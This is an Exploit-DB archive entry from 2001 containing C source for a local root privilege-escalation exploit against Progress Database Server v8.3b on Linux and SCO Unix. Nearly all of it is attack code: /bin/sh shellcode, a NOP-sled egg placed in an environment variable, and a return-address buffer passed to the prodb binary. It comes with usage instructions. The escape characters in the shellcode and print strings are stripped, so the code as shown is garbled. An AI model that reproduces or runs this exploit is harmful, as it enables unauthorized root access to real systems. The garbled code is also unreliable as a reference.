https://www.exploit-db.com/exploits/288

漏洞细节尚未披露

/* progress database server v8.3b local root compromise.
 * for sco-unix and linux
 *
 * [on linux redhat 6.2 and SCO_SV scosysv 3.2 5.05
 *
 * this is just one of it, advisory about the bug discovery grabbed
 * from packetstorm, which was originally found by: [email protected]
 *
 * exploit usage: ./prodbx <distro> [offset]
 *
 * just some quick greets to: wildcoyote, lucipher, tasc, pyra, calimonk
 *          script0r, tozz, c-murdah and cerial
 *
 * - The Itch / BsE
 */
 
#include <stdio.h>
#include <stdlib.h>
 
#define DEFAULT_OFFSET 0
#define DEFAULT_EGG_SIZE 2048
#define DEFAULT_BUFFER_SIZE 4200
#define NOP 0x90
 
unsigned long get_sp(void)
{
  __asm__("movl %esp, %eax");
}
 
/* regular shellcode for linux on the x86 */
char linux_shellcode[] =
  "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
  "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
  "x80xe8xdcxffxffxff/bin/sh";
 
/* shellcode found (and used) in the advisory */
char sco_shellcode[] =
  "x89xe6x83xc6x30xb8x2ex62x69x6ex40x89x06xb8x2ex73"
  "x68x21x40x89x46x04x29xc0x88x46x07x89x76x0cxb0x0b"
  "x87xf3x8dx4bx08x8dx53x0cxcdx80";

int main(int argc, char *argv[])
{
  char *buff;
  char *egg;
  char *ptr;
  long *addr_ptr;
  long addr;
  int offset = DEFAULT_OFFSET;
  int bsize = DEFAULT_BUFFER_SIZE;
  int eggsize = DEFAULT_EGG_SIZE;
  int unixtype = 0;
  int i;
 
  if(argc < 2) 
  {
    printf("nProgress Database Server v8.3b local rootn");  
    printf("nUsage: %s <*nix type> [offset]nn", argv[0]);
    printf("1 = linuxn");
    printf("2 = sco-unixnn");
    printf("offset is not required, but should be near -50 through 50nn");  
    exit(0);
  }

  if(argc > 1) { unixtype = atoi(argv[1]); }
  if(argc > 2) { offset = atoi(argv[2]); }
 
  if(!(buff = malloc(bsize)))  
  {
    printf("Unable to allocate memory for %d bytesn", bsize);
    exit(0);
  }
 
  if(!(egg = malloc(eggsize)))
  {
    printf("Unable to allocate memory for %d bytesn", eggsize);
    exit(0);
  }
 
  addr = get_sp() - offset;
 
  printf("n --== Progress Database Server 8.3b local root ==--n");
  printf("         Coded by The Itch / BsEnn");
  printf("Using return address: 0x%xn", addr);
  printf("Using offset      : %dn", offset);
  printf("Using buffersize    : %dn", bsize);
 
  ptr = buff;
  addr_ptr = (long *) ptr;  
  for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
 
  ptr = egg;
  if(unixtype == 1) { for(i = 0; i < eggsize - strlen(linux_shellcode) -1; i++) { *(ptr++) = NOP; } }
  if(unixtype == 2) { for(i = 0; i < eggsize - strlen(sco_shellcode) -1; i++) { *(ptr++) = NOP; } }

  if(unixtype == 1) { for(i = 0; i < strlen(linux_shellcode); i++) { *(ptr++) = linux_shellcode[i]; } }
  if(unixtype == 2) { for(i = 0; i < strlen(sco_shellcode); i++) { *(ptr++) = sco_shellcode[i]; } } 

  buff[bsize - 1] = '';
  egg[eggsize - 1] = '';
  memcpy(egg, "EGG=", 4);
  putenv(egg);
  memcpy(buff, "RET=", 4);
  putenv(buff);
 
  /* adjust path of prodb accordingly... */
  system("/usr/dlc/bin/prodb  sports $RET");
 
  return 0;
}      


// milw0rm.com [2001-03-04]